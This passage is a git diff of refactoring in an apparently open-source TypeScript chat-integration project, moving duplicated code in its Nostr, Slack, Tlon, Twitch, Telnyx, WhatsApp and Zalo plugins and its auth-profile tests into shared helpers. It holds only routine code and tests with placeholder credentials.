auth: number;
};
circuitBreakerState: "closed" | "open" | "half_open";
circuitBreakerOpens: number;
circuitBreakerCloses: number;
};
// ============================================================================
// Metric Event
// ============================================================================
@@ -93,26 +111,7 @@ export interface MetricsSnapshot {
};
/** Relay stats by URL */
relays: Record<
string,
{
connects: number;
disconnects: number;
reconnects: number;
errors: number;
messagesReceived: {
event: number;
eose: number;
closed: number;
notice: number;
ok: number;
auth: number;
};
circuitBreakerState: "closed" | "open" | "half_open";
circuitBreakerOpens: number;
circuitBreakerCloses: number;
}
>;
relays: Record<string, RelayMetrics>;
/** Rate limiting stats */
rateLimiting: {
@@ -174,26 +173,7 @@ export function createMetrics(onMetric?: OnMetricCallback): NostrMetrics {
};
// Per-relay stats
const relays = new Map<
string,
{
connects: number;
disconnects: number;
reconnects: number;
errors: number;
messagesReceived: {
event: number;
eose: number;
closed: number;
notice: number;
ok: number;
auth: number;
};
circuitBreakerState: "closed" | "open" | "half_open";
circuitBreakerOpens: number;
circuitBreakerCloses: number;
}
>();
const relays = new Map<string, RelayMetrics>();
// Rate limiting stats
const rateLimiting = {

View File

@@ -112,6 +112,23 @@ function createMockContext(overrides?: Partial<NostrProfileHttpContext>): NostrP
};
}
function mockSuccessfulProfileImport() {
vi.mocked(importProfileFromRelays).mockResolvedValue({
ok: true,
profile: {
name: "imported",
displayName: "Imported User",
},
event: {
id: "evt123",
pubkey: "abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234",
created_at: 1234567890,
},
relaysQueried: ["wss://relay.damus.io"],
sourceRelay: "wss://relay.damus.io",
});
}
// ============================================================================
// Tests
// ============================================================================
@@ -342,20 +359,7 @@ describe("nostr-profile-http", () => {
const req = createMockRequest("POST", "/api/channels/nostr/default/profile/import", {});
const res = createMockResponse();
vi.mocked(importProfileFromRelays).mockResolvedValue({
ok: true,
profile: {
name: "imported",
displayName: "Imported User",
},
event: {
id: "evt123",
pubkey: "abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234",
created_at: 1234567890,
},
relaysQueried: ["wss://relay.damus.io"],
sourceRelay: "wss://relay.damus.io",
});
mockSuccessfulProfileImport();
await handler(req, res);
@@ -406,20 +410,7 @@ describe("nostr-profile-http", () => {
});
const res = createMockResponse();
vi.mocked(importProfileFromRelays).mockResolvedValue({
ok: true,
profile: {
name: "imported",
displayName: "Imported User",
},
event: {
id: "evt123",
pubkey: "abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234abcd1234",
created_at: 1234567890,
},
relaysQueried: ["wss://relay.damus.io"],
sourceRelay: "wss://relay.damus.io",
});
mockSuccessfulProfileImport();
await handler(req, res);

View File

@@ -137,6 +137,27 @@ export function createSeenTracker(options?: SeenTrackerOptions): SeenTracker {
entries.delete(idToEvict);
}
function insertAtFront(id: string, seenAt: number): void {
const newEntry: Entry = {
seenAt,
prev: null,
next: head,
};
if (head) {
const headEntry = entries.get(head);
if (headEntry) {
headEntry.prev = id;
}
}
entries.set(id, newEntry);
head = id;
if (!tail) {
tail = id;
}
}
// Prune expired entries
function pruneExpired(): void {
const now = Date.now();
@@ -180,25 +201,7 @@ export function createSeenTracker(options?: SeenTrackerOptions): SeenTracker {
evictLRU();
}
// Add new entry at front
const newEntry: Entry = {
seenAt: now,
prev: null,
next: head,
};
if (head) {
const headEntry = entries.get(head);
if (headEntry) {
headEntry.prev = id;
}
}
entries.set(id, newEntry);
head = id;
if (!tail) {
tail = id;
}
insertAtFront(id, now);
}
function has(id: string): boolean {
@@ -268,24 +271,7 @@ export function createSeenTracker(options?: SeenTrackerOptions): SeenTracker {
for (let i = ids.length - 1; i >= 0; i--) {
const id = ids[i];
if (!entries.has(id) && entries.size < maxEntries) {
const newEntry: Entry = {
seenAt: now,
prev: null,
next: head,
};
if (head) {
const headEntry = entries.get(head);
if (headEntry) {
headEntry.prev = id;
}
}
entries.set(id, newEntry);
head = id;
if (!tail) {
tail = id;
}
insertAtFront(id, now);
}
}
}

View File

@@ -0,0 +1,66 @@
import { expect, it } from "vitest";
type ResolveTargetMode = "explicit" | "implicit" | "heartbeat";
type ResolveTargetResult = {
ok: boolean;
to?: string;
error?: unknown;
};
type ResolveTargetFn = (params: {
to?: string;
mode: ResolveTargetMode;
allowFrom: string[];
}) => ResolveTargetResult;
export function installCommonResolveTargetErrorCases(params: {
resolveTarget: ResolveTargetFn;
implicitAllowFrom: string[];
}) {
const { resolveTarget, implicitAllowFrom } = params;
it("should error on normalization failure with allowlist (implicit mode)", () => {
const result = resolveTarget({
to: "invalid-target",
mode: "implicit",
allowFrom: implicitAllowFrom,
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
});
it("should error when no target provided with allowlist", () => {
const result = resolveTarget({
to: undefined,
mode: "implicit",
allowFrom: implicitAllowFrom,
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
});
it("should error when no target and no allowlist", () => {
const result = resolveTarget({
to: undefined,
mode: "explicit",
allowFrom: [],
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
});
it("should handle whitespace-only target", () => {
const result = resolveTarget({
to: " ",
mode: "explicit",
allowFrom: [],
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
});
}

View File

@@ -6,6 +6,7 @@ import {
extractSlackToolSend,
formatPairingApproveHint,
getChatChannelMeta,
handleSlackMessageAction,
listSlackMessageActions,
listSlackAccountIds,
listSlackDirectoryGroupsFromConfig,
@@ -15,8 +16,6 @@ import {
normalizeAccountId,
normalizeSlackMessagingTarget,
PAIRING_APPROVED_MESSAGE,
readNumberParam,
readStringParam,
resolveDefaultSlackAccountId,
resolveSlackAccount,
resolveSlackReplyToMode,
@@ -234,151 +233,13 @@ export const slackPlugin: ChannelPlugin<ResolvedSlackAccount> = {
actions: {
listActions: ({ cfg }) => listSlackMessageActions(cfg),
extractToolSend: ({ args }) => extractSlackToolSend(args),
handleAction: async ({ action, params, cfg, accountId, toolContext }) => {
const resolveChannelId = () =>
readStringParam(params, "channelId") ?? readStringParam(params, "to", { required: true });
if (action === "send") {
const to = readStringParam(params, "to", { required: true });
const content = readStringParam(params, "message", {
required: true,
allowEmpty: true,
});
const mediaUrl = readStringParam(params, "media", { trim: false });
const threadId = readStringParam(params, "threadId");
const replyTo = readStringParam(params, "replyTo");
return await getSlackRuntime().channel.slack.handleSlackAction(
{
action: "sendMessage",
to,
content,
mediaUrl: mediaUrl ?? undefined,
accountId: accountId ?? undefined,
threadTs: threadId ?? replyTo ?? undefined,
},
cfg,
toolContext,
);
}
if (action === "react") {
const messageId = readStringParam(params, "messageId", {
required: true,
});
const emoji = readStringParam(params, "emoji", { allowEmpty: true });
const remove = typeof params.remove === "boolean" ? params.remove : undefined;
return await getSlackRuntime().channel.slack.handleSlackAction(
{
action: "react",
channelId: resolveChannelId(),
messageId,
emoji,
remove,
accountId: accountId ?? undefined,
},
cfg,
);
}
if (action === "reactions") {
const messageId = readStringParam(params, "messageId", {
required: true,
});
const limit = readNumberParam(params, "limit", { integer: true });
return await getSlackRuntime().channel.slack.handleSlackAction(
{
action: "reactions",
channelId: resolveChannelId(),
messageId,
limit,
accountId: accountId ?? undefined,
},
cfg,
);
}
if (action === "read") {
const limit = readNumberParam(params, "limit", { integer: true });
return await getSlackRuntime().channel.slack.handleSlackAction(
{
action: "readMessages",
channelId: resolveChannelId(),
limit,
before: readStringParam(params, "before"),
after: readStringParam(params, "after"),
accountId: accountId ?? undefined,
},
cfg,
);
}
if (action === "edit") {
const messageId = readStringParam(params, "messageId", {
required: true,
});
const content = readStringParam(params, "message", { required: true });
return await getSlackRuntime().channel.slack.handleSlackAction(
{
action: "editMessage",
channelId: resolveChannelId(),
messageId,
content,
accountId: accountId ?? undefined,
},
cfg,
);
}
if (action === "delete") {
const messageId = readStringParam(params, "messageId", {
required: true,
});
return await getSlackRuntime().channel.slack.handleSlackAction(
{
action: "deleteMessage",
channelId: resolveChannelId(),
messageId,
accountId: accountId ?? undefined,
},
cfg,
);
}
if (action === "pin" || action === "unpin" || action === "list-pins") {
const messageId =
action === "list-pins"
? undefined
: readStringParam(params, "messageId", { required: true });
return await getSlackRuntime().channel.slack.handleSlackAction(
{
action:
action === "pin" ? "pinMessage" : action === "unpin" ? "unpinMessage" : "listPins",
channelId: resolveChannelId(),
messageId,
accountId: accountId ?? undefined,
},
cfg,
);
}
if (action === "member-info") {
const userId = readStringParam(params, "userId", { required: true });
return await getSlackRuntime().channel.slack.handleSlackAction(
{ action: "memberInfo", userId, accountId: accountId ?? undefined },
cfg,
);
}
if (action === "emoji-list") {
const limit = readNumberParam(params, "limit", { integer: true });
return await getSlackRuntime().channel.slack.handleSlackAction(
{ action: "emojiList", limit, accountId: accountId ?? undefined },
cfg,
);
}
throw new Error(`Action ${action} is not supported for provider ${meta.id}.`);
},
handleAction: async (ctx) =>
await handleSlackMessageAction({
providerId: meta.id,
ctx,
invoke: async (action, cfg, toolContext) =>
await getSlackRuntime().channel.slack.handleSlackAction(action, cfg, toolContext),
}),
},
setup: {
resolveAccountId: ({ accountId }) => normalizeAccountId(accountId),

View File

@@ -0,0 +1,25 @@
export type TlonAccountFieldsInput = {
ship?: string;
url?: string;
code?: string;
allowPrivateNetwork?: boolean;
groupChannels?: string[];
dmAllowlist?: string[];
autoDiscoverChannels?: boolean;
};
export function buildTlonAccountFields(input: TlonAccountFieldsInput) {
return {
...(input.ship ? { ship: input.ship } : {}),
...(input.url ? { url: input.url } : {}),
...(input.code ? { code: input.code } : {}),
...(typeof input.allowPrivateNetwork === "boolean"
? { allowPrivateNetwork: input.allowPrivateNetwork }
: {}),
...(input.groupChannels ? { groupChannels: input.groupChannels } : {}),
...(input.dmAllowlist ? { dmAllowlist: input.dmAllowlist } : {}),
...(typeof input.autoDiscoverChannels === "boolean"
? { autoDiscoverChannels: input.autoDiscoverChannels }
: {}),
};
}

View File

@@ -10,6 +10,7 @@ import {
DEFAULT_ACCOUNT_ID,
normalizeAccountId,
} from "openclaw/plugin-sdk";
import { buildTlonAccountFields } from "./account-fields.js";
import { tlonChannelConfigSchema } from "./config-schema.js";
import { monitorTlonProvider } from "./monitor/index.js";
import { tlonOnboardingAdapter } from "./onboarding.js";
@@ -47,19 +48,7 @@ function applyTlonSetupConfig(params: {
});
const base = namedConfig.channels?.tlon ?? {};
const payload = {
...(input.ship ? { ship: input.ship } : {}),
...(input.url ? { url: input.url } : {}),
...(input.code ? { code: input.code } : {}),
...(typeof input.allowPrivateNetwork === "boolean"
? { allowPrivateNetwork: input.allowPrivateNetwork }
: {}),
...(input.groupChannels ? { groupChannels: input.groupChannels } : {}),
...(input.dmAllowlist ? { dmAllowlist: input.dmAllowlist } : {}),
...(typeof input.autoDiscoverChannels === "boolean"
? { autoDiscoverChannels: input.autoDiscoverChannels }
: {}),
};
const payload = buildTlonAccountFields(input);
if (useDefault) {
return {

View File

@@ -8,6 +8,7 @@ import {
type WizardPrompter,
} from "openclaw/plugin-sdk";
import type { TlonResolvedAccount } from "./types.js";
import { buildTlonAccountFields } from "./account-fields.js";
import { listTlonAccountIds, resolveTlonAccount } from "./types.js";
import { isBlockedUrbitHostname, validateUrbitBaseUrl } from "./urbit/base-url.js";
@@ -34,6 +35,11 @@ function applyAccountConfig(params: {
const { cfg, accountId, input } = params;
const useDefault = accountId === DEFAULT_ACCOUNT_ID;
const base = cfg.channels?.tlon ?? {};
const nextValues = {
enabled: true,
...(input.name ? { name: input.name } : {}),
...buildTlonAccountFields(input),
};
if (useDefault) {
return {
@@ -42,19 +48,7 @@ function applyAccountConfig(params: {
...cfg.channels,
tlon: {
...base,
enabled: true,
...(input.name ? { name: input.name } : {}),
...(input.ship ? { ship: input.ship } : {}),
...(input.url ? { url: input.url } : {}),
...(input.code ? { code: input.code } : {}),
...(typeof input.allowPrivateNetwork === "boolean"
? { allowPrivateNetwork: input.allowPrivateNetwork }
: {}),
...(input.groupChannels ? { groupChannels: input.groupChannels } : {}),
...(input.dmAllowlist ? { dmAllowlist: input.dmAllowlist } : {}),
...(typeof input.autoDiscoverChannels === "boolean"
? { autoDiscoverChannels: input.autoDiscoverChannels }
: {}),
...nextValues,
},
},
};
@@ -73,19 +67,7 @@ function applyAccountConfig(params: {
...(base as { accounts?: Record<string, Record<string, unknown>> }).accounts?.[
accountId
],
enabled: true,
...(input.name ? { name: input.name } : {}),
...(input.ship ? { ship: input.ship } : {}),
...(input.url ? { url: input.url } : {}),
...(input.code ? { code: input.code } : {}),
...(typeof input.allowPrivateNetwork === "boolean"
? { allowPrivateNetwork: input.allowPrivateNetwork }
: {}),
...(input.groupChannels ? { groupChannels: input.groupChannels } : {}),
...(input.dmAllowlist ? { dmAllowlist: input.dmAllowlist } : {}),
...(typeof input.autoDiscoverChannels === "boolean"
? { autoDiscoverChannels: input.autoDiscoverChannels }
: {}),
...nextValues,
},
},
},

View File

@@ -9,9 +9,13 @@
* - Abort signal handling
*/
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { describe, expect, it, vi } from "vitest";
import { twitchOutbound } from "./outbound.js";
import {
BASE_TWITCH_TEST_ACCOUNT,
installTwitchTestHooks,
makeTwitchTestConfig,
} from "./test-fixtures.js";
// Mock dependencies
vi.mock("./config.js", () => ({
@@ -35,29 +39,12 @@ vi.mock("./utils/twitch.js", () => ({
describe("outbound", () => {
const mockAccount = {
username: "testbot",
...BASE_TWITCH_TEST_ACCOUNT,
accessToken: "oauth:test123",
clientId: "test-client-id",
channel: "#testchannel",
};
const mockConfig = {
channels: {
twitch: {
accounts: {
default: mockAccount,
},
},
},
} as unknown as OpenClawConfig;
beforeEach(() => {
vi.clearAllMocks();
});
afterEach(() => {
vi.restoreAllMocks();
});
const mockConfig = makeTwitchTestConfig(mockAccount);
installTwitchTestHooks();
describe("metadata", () => {
it("should have direct delivery mode", () => {

View File

@@ -10,9 +10,13 @@
* - Registry integration
*/
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { describe, expect, it, vi } from "vitest";
import { sendMessageTwitchInternal } from "./send.js";
import {
BASE_TWITCH_TEST_ACCOUNT,
installTwitchTestHooks,
makeTwitchTestConfig,
} from "./test-fixtures.js";
// Mock dependencies
vi.mock("./config.js", () => ({
@@ -43,29 +47,12 @@ describe("send", () => {
};
const mockAccount = {
username: "testbot",
...BASE_TWITCH_TEST_ACCOUNT,
token: "oauth:test123",
clientId: "test-client-id",
channel: "#testchannel",
};
const mockConfig = {
channels: {
twitch: {
accounts: {
default: mockAccount,
},
},
},
} as unknown as OpenClawConfig;
beforeEach(() => {
vi.clearAllMocks();
});
afterEach(() => {
vi.restoreAllMocks();
});
const mockConfig = makeTwitchTestConfig(mockAccount);
installTwitchTestHooks();
describe("sendMessageTwitchInternal", () => {
it("should send a message successfully", async () => {

View File

@@ -0,0 +1,30 @@
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import { afterEach, beforeEach, vi } from "vitest";
export const BASE_TWITCH_TEST_ACCOUNT = {
username: "testbot",
clientId: "test-client-id",
channel: "#testchannel",
};
export function makeTwitchTestConfig(account: Record<string, unknown>): OpenClawConfig {
return {
channels: {
twitch: {
accounts: {
default: account,
},
},
},
} as unknown as OpenClawConfig;
}
export function installTwitchTestHooks() {
beforeEach(() => {
vi.clearAllMocks();
});
afterEach(() => {
vi.restoreAllMocks();
});
}

View File

@@ -22,6 +22,37 @@ function decodeBase64Url(input: string): Buffer {
return Buffer.from(padded, "base64");
}
function expectWebhookVerificationSucceeds(params: {
publicKey: string;
privateKey: crypto.KeyObject;
}) {
const provider = new TelnyxProvider(
{ apiKey: "KEY123", connectionId: "CONN456", publicKey: params.publicKey },
{ skipVerification: false },
);
const rawBody = JSON.stringify({
event_type: "call.initiated",
payload: { call_control_id: "x" },
});
const timestamp = String(Math.floor(Date.now() / 1000));
const signedPayload = `${timestamp}|${rawBody}`;
const signature = crypto
.sign(null, Buffer.from(signedPayload), params.privateKey)
.toString("base64");
const result = provider.verifyWebhook(
createCtx({
rawBody,
headers: {
"telnyx-signature-ed25519": signature,
"telnyx-timestamp": timestamp,
},
}),
);
expect(result.ok).toBe(true);
}
describe("TelnyxProvider.verifyWebhook", () => {
it("fails closed when public key is missing and skipVerification is false", () => {
const provider = new TelnyxProvider(
@@ -63,59 +94,13 @@ describe("TelnyxProvider.verifyWebhook", () => {
const rawPublicKey = decodeBase64Url(jwk.x as string);
const rawPublicKeyBase64 = rawPublicKey.toString("base64");
const provider = new TelnyxProvider(
{ apiKey: "KEY123", connectionId: "CONN456", publicKey: rawPublicKeyBase64 },
{ skipVerification: false },
);
const rawBody = JSON.stringify({
event_type: "call.initiated",
payload: { call_control_id: "x" },
});
const timestamp = String(Math.floor(Date.now() / 1000));
const signedPayload = `${timestamp}|${rawBody}`;
const signature = crypto.sign(null, Buffer.from(signedPayload), privateKey).toString("base64");
const result = provider.verifyWebhook(
createCtx({
rawBody,
headers: {
"telnyx-signature-ed25519": signature,
"telnyx-timestamp": timestamp,
},
}),
);
expect(result.ok).toBe(true);
expectWebhookVerificationSucceeds({ publicKey: rawPublicKeyBase64, privateKey });
});
it("verifies a valid signature with a DER SPKI public key (Base64)", () => {
const { publicKey, privateKey } = crypto.generateKeyPairSync("ed25519");
const spkiDer = publicKey.export({ format: "der", type: "spki" }) as Buffer;
const spkiDerBase64 = spkiDer.toString("base64");
const provider = new TelnyxProvider(
{ apiKey: "KEY123", connectionId: "CONN456", publicKey: spkiDerBase64 },
{ skipVerification: false },
);
const rawBody = JSON.stringify({
event_type: "call.initiated",
payload: { call_control_id: "x" },
});
const timestamp = String(Math.floor(Date.now() / 1000));
const signedPayload = `${timestamp}|${rawBody}`;
const signature = crypto.sign(null, Buffer.from(signedPayload), privateKey).toString("base64");
const result = provider.verifyWebhook(
createCtx({
rawBody,
headers: {
"telnyx-signature-ed25519": signature,
"telnyx-timestamp": timestamp,
},
}),
);
expect(result.ok).toBe(true);
expectWebhookVerificationSucceeds({ publicKey: spkiDerBase64, privateKey });
});
});

View File

@@ -1,4 +1,5 @@
import { describe, expect, it, vi } from "vitest";
import { installCommonResolveTargetErrorCases } from "../../shared/resolve-target-test-helpers.js";
vi.mock("openclaw/plugin-sdk", () => ({
getChatChannelMeta: () => ({ id: "whatsapp", label: "WhatsApp" }),
@@ -147,47 +148,8 @@ describe("whatsapp resolveTarget", () => {
expect(result.error).toBeDefined();
});
it("should error on normalization failure with allowlist (implicit mode)", () => {
const result = resolveTarget({
to: "invalid-target",
mode: "implicit",
allowFrom: ["5511999999999"],
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
});
it("should error when no target provided with allowlist", () => {
const result = resolveTarget({
to: undefined,
mode: "implicit",
allowFrom: ["5511999999999"],
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
});
it("should error when no target and no allowlist", () => {
const result = resolveTarget({
to: undefined,
mode: "explicit",
allowFrom: [],
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
});
it("should handle whitespace-only target", () => {
const result = resolveTarget({
to: " ",
mode: "explicit",
allowFrom: [],
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
installCommonResolveTargetErrorCases({
resolveTarget,
implicitAllowFrom: ["5511999999999"],
});
});

View File

@@ -2,9 +2,12 @@ import type { IncomingMessage, ServerResponse } from "node:http";
import type { OpenClawConfig, MarkdownTableMode } from "openclaw/plugin-sdk";
import {
createReplyPrefixOptions,
normalizeWebhookPath,
readJsonBodyWithLimit,
registerWebhookTarget,
rejectNonPostWebhookRequest,
resolveSenderCommandAuthorization,
resolveWebhookPath,
resolveWebhookTargets,
requestBodyErrorToText,
} from "openclaw/plugin-sdk";
import type { ResolvedZaloAccount } from "./accounts.js";
@@ -83,36 +86,20 @@ type WebhookTarget = {
const webhookTargets = new Map<string, WebhookTarget[]>();
export function registerZaloWebhookTarget(target: WebhookTarget): () => void {
const key = normalizeWebhookPath(target.path);
const normalizedTarget = { ...target, path: key };
const existing = webhookTargets.get(key) ?? [];
const next = [...existing, normalizedTarget];
webhookTargets.set(key, next);
return () => {
const updated = (webhookTargets.get(key) ?? []).filter((entry) => entry !== normalizedTarget);
if (updated.length > 0) {
webhookTargets.set(key, updated);
} else {
webhookTargets.delete(key);
}
};
return registerWebhookTarget(webhookTargets, target).unregister;
}
export async function handleZaloWebhookRequest(
req: IncomingMessage,
res: ServerResponse,
): Promise<boolean> {
const url = new URL(req.url ?? "/", "http://localhost");
const path = normalizeWebhookPath(url.pathname);
const targets = webhookTargets.get(path);
if (!targets || targets.length === 0) {
const resolved = resolveWebhookTargets(req, webhookTargets);
if (!resolved) {
return false;
}
const { targets } = resolved;
if (req.method !== "POST") {
res.statusCode = 405;
res.setHeader("Allow", "POST");
res.end("Method Not Allowed");
if (rejectNonPostWebhookRequest(req, res)) {
return true;
}
@@ -402,22 +389,20 @@ async function processMessageWithPipeline(params: {
const dmPolicy = account.config.dmPolicy ?? "pairing";
const configAllowFrom = (account.config.allowFrom ?? []).map((v) => String(v));
const rawBody = text?.trim() || (mediaPath ? "<media:image>" : "");
const shouldComputeAuth = core.channel.commands.shouldComputeCommandAuthorized(rawBody, config);
const storeAllowFrom =
!isGroup && (dmPolicy !== "open" || shouldComputeAuth)
? await core.channel.pairing.readAllowFromStore("zalo").catch(() => [])
: [];
const effectiveAllowFrom = [...configAllowFrom, ...storeAllowFrom];
const useAccessGroups = config.commands?.useAccessGroups !== false;
const senderAllowedForCommands = isSenderAllowed(senderId, effectiveAllowFrom);
const commandAuthorized = shouldComputeAuth
? core.channel.commands.resolveCommandAuthorizedFromAuthorizers({
useAccessGroups,
authorizers: [
{ configured: effectiveAllowFrom.length > 0, allowed: senderAllowedForCommands },
],
})
: undefined;
const { senderAllowedForCommands, commandAuthorized } = await resolveSenderCommandAuthorization({
cfg: config,
rawBody,
isGroup,
dmPolicy,
configuredAllowFrom: configAllowFrom,
senderId,
isSenderAllowed,
readAllowFromStore: () => core.channel.pairing.readAllowFromStore("zalo"),
shouldComputeCommandAuthorized: (body, cfg) =>
core.channel.commands.shouldComputeCommandAuthorized(body, cfg),
resolveCommandAuthorizedFromAuthorizers: (params) =>
core.channel.commands.resolveCommandAuthorizedFromAuthorizers(params),
});
if (!isGroup) {
if (dmPolicy === "disabled") {

View File

@@ -1,6 +1,11 @@
import type { ChildProcess } from "node:child_process";
import type { OpenClawConfig, MarkdownTableMode, RuntimeEnv } from "openclaw/plugin-sdk";
import { createReplyPrefixOptions, mergeAllowlist, summarizeMapping } from "openclaw/plugin-sdk";
import {
createReplyPrefixOptions,
mergeAllowlist,
resolveSenderCommandAuthorization,
summarizeMapping,
} from "openclaw/plugin-sdk";
import type { ResolvedZalouserAccount, ZcaFriend, ZcaGroup, ZcaMessage } from "./types.js";
import { getZalouserRuntime } from "./runtime.js";
import { sendMessageZalouser } from "./send.js";
@@ -192,22 +197,20 @@ async function processMessage(
const dmPolicy = account.config.dmPolicy ?? "pairing";
const configAllowFrom = (account.config.allowFrom ?? []).map((v) => String(v));
const rawBody = content.trim();
const shouldComputeAuth = core.channel.commands.shouldComputeCommandAuthorized(rawBody, config);
const storeAllowFrom =
!isGroup && (dmPolicy !== "open" || shouldComputeAuth)
? await core.channel.pairing.readAllowFromStore("zalouser").catch(() => [])
: [];
const effectiveAllowFrom = [...configAllowFrom, ...storeAllowFrom];
const useAccessGroups = config.commands?.useAccessGroups !== false;
const senderAllowedForCommands = isSenderAllowed(senderId, effectiveAllowFrom);
const commandAuthorized = shouldComputeAuth
? core.channel.commands.resolveCommandAuthorizedFromAuthorizers({
useAccessGroups,
authorizers: [
{ configured: effectiveAllowFrom.length > 0, allowed: senderAllowedForCommands },
],
})
: undefined;
const { senderAllowedForCommands, commandAuthorized } = await resolveSenderCommandAuthorization({
cfg: config,
rawBody,
isGroup,
dmPolicy,
configuredAllowFrom: configAllowFrom,
senderId,
isSenderAllowed,
readAllowFromStore: () => core.channel.pairing.readAllowFromStore("zalouser"),
shouldComputeCommandAuthorized: (body, cfg) =>
core.channel.commands.shouldComputeCommandAuthorized(body, cfg),
resolveCommandAuthorizedFromAuthorizers: (params) =>
core.channel.commands.resolveCommandAuthorizedFromAuthorizers(params),
});
if (!isGroup) {
if (dmPolicy === "disabled") {

View File

@@ -0,0 +1,77 @@
import { describe, expect, it } from "vitest";
import type { AuthProfileStore } from "./auth-profiles.js";
import { getSoonestCooldownExpiry } from "./auth-profiles.js";
function makeStore(usageStats?: AuthProfileStore["usageStats"]): AuthProfileStore {
return {
version: 1,
profiles: {},
usageStats,
};
}
describe("getSoonestCooldownExpiry", () => {
it("returns null when no cooldown timestamps exist", () => {
const store = makeStore();
expect(getSoonestCooldownExpiry(store, ["openai:p1"])).toBeNull();
});
it("returns earliest unusable time across profiles", () => {
const store = makeStore({
"openai:p1": {
cooldownUntil: 1_700_000_002_000,
disabledUntil: 1_700_000_004_000,
},
"openai:p2": {
cooldownUntil: 1_700_000_003_000,
},
"openai:p3": {
disabledUntil: 1_700_000_001_000,
},
});
expect(getSoonestCooldownExpiry(store, ["openai:p1", "openai:p2", "openai:p3"])).toBe(
1_700_000_001_000,
);
});
it("ignores unknown profiles and invalid cooldown values", () => {
const store = makeStore({
"openai:p1": {
cooldownUntil: -1,
},
"openai:p2": {
cooldownUntil: Infinity,
},
"openai:p3": {
disabledUntil: NaN,
},
"openai:p4": {
cooldownUntil: 1_700_000_005_000,
},
});
expect(
getSoonestCooldownExpiry(store, [
"missing",
"openai:p1",
"openai:p2",
"openai:p3",
"openai:p4",
]),
).toBe(1_700_000_005_000);
});
it("returns past timestamps when cooldown already expired", () => {
const store = makeStore({
"openai:p1": {
cooldownUntil: 1_700_000_000_000,
},
"openai:p2": {
disabledUntil: 1_700_000_010_000,
},
});
expect(getSoonestCooldownExpiry(store, ["openai:p1", "openai:p2"])).toBe(1_700_000_000_000);
});
});

View File

@@ -8,26 +8,43 @@ import {
markAuthProfileFailure,
} from "./auth-profiles.js";
type AuthProfileStore = ReturnType<typeof ensureAuthProfileStore>;
async function withAuthProfileStore(
fn: (ctx: { agentDir: string; store: AuthProfileStore }) => Promise<void>,
): Promise<void> {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
try {
const authPath = path.join(agentDir, "auth-profiles.json");
fs.writeFileSync(
authPath,
JSON.stringify({
version: 1,
profiles: {
"anthropic:default": {
type: "api_key",
provider: "anthropic",
key: "sk-default",
},
},
}),
);
const store = ensureAuthProfileStore(agentDir);
await fn({ agentDir, store });
} finally {
fs.rmSync(agentDir, { recursive: true, force: true });
}
}
function expectCooldownInRange(remainingMs: number, minMs: number, maxMs: number): void {
expect(remainingMs).toBeGreaterThan(minMs);
expect(remainingMs).toBeLessThan(maxMs);
}
describe("markAuthProfileFailure", () => {
it("disables billing failures for ~5 hours by default", async () => {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
try {
const authPath = path.join(agentDir, "auth-profiles.json");
fs.writeFileSync(
authPath,
JSON.stringify({
version: 1,
profiles: {
"anthropic:default": {
type: "api_key",
provider: "anthropic",
key: "sk-default",
},
},
}),
);
const store = ensureAuthProfileStore(agentDir);
await withAuthProfileStore(async ({ agentDir, store }) => {
const startedAt = Date.now();
await markAuthProfileFailure({
store,
@@ -39,31 +56,11 @@ describe("markAuthProfileFailure", () => {
const disabledUntil = store.usageStats?.["anthropic:default"]?.disabledUntil;
expect(typeof disabledUntil).toBe("number");
const remainingMs = (disabledUntil as number) - startedAt;
expect(remainingMs).toBeGreaterThan(4.5 * 60 * 60 * 1000);
expect(remainingMs).toBeLessThan(5.5 * 60 * 60 * 1000);
} finally {
fs.rmSync(agentDir, { recursive: true, force: true });
}
expectCooldownInRange(remainingMs, 4.5 * 60 * 60 * 1000, 5.5 * 60 * 60 * 1000);
});
});
it("honors per-provider billing backoff overrides", async () => {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));
try {
const authPath = path.join(agentDir, "auth-profiles.json");
fs.writeFileSync(
authPath,
JSON.stringify({
version: 1,
profiles: {
"anthropic:default": {
type: "api_key",
provider: "anthropic",
key: "sk-default",
},
},
}),
);
const store = ensureAuthProfileStore(agentDir);
await withAuthProfileStore(async ({ agentDir, store }) => {
const startedAt = Date.now();
await markAuthProfileFailure({
store,
@@ -83,11 +80,8 @@ describe("markAuthProfileFailure", () => {
const disabledUntil = store.usageStats?.["anthropic:default"]?.disabledUntil;
expect(typeof disabledUntil).toBe("number");
const remainingMs = (disabledUntil as number) - startedAt;
expect(remainingMs).toBeGreaterThan(0.8 * 60 * 60 * 1000);
expect(remainingMs).toBeLessThan(1.2 * 60 * 60 * 1000);
} finally {
fs.rmSync(agentDir, { recursive: true, force: true });
}
expectCooldownInRange(remainingMs, 0.8 * 60 * 60 * 1000, 1.2 * 60 * 60 * 1000);
});
});
it("resets backoff counters outside the failure window", async () => {
const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-"));

View File

@@ -1,5 +1,32 @@
import { describe, expect, it } from "vitest";
import { resolveAuthProfileOrder } from "./auth-profiles.js";
import { type AuthProfileStore, resolveAuthProfileOrder } from "./auth-profiles.js";
function makeApiKeyStore(provider: string, profileIds: string[]): AuthProfileStore {
return {
version: 1,
profiles: Object.fromEntries(
profileIds.map((profileId) => [
profileId,
{
type: "api_key",
provider,
key: profileId.endsWith(":work") ? "sk-work" : "sk-default",
},
]),
),
};
}
function makeApiKeyProfilesByProviderProvider(
providerByProfileId: Record<string, string>,
): Record<string, { provider: string; mode: "api_key" }> {
return Object.fromEntries(
Object.entries(providerByProfileId).map(([profileId, provider]) => [
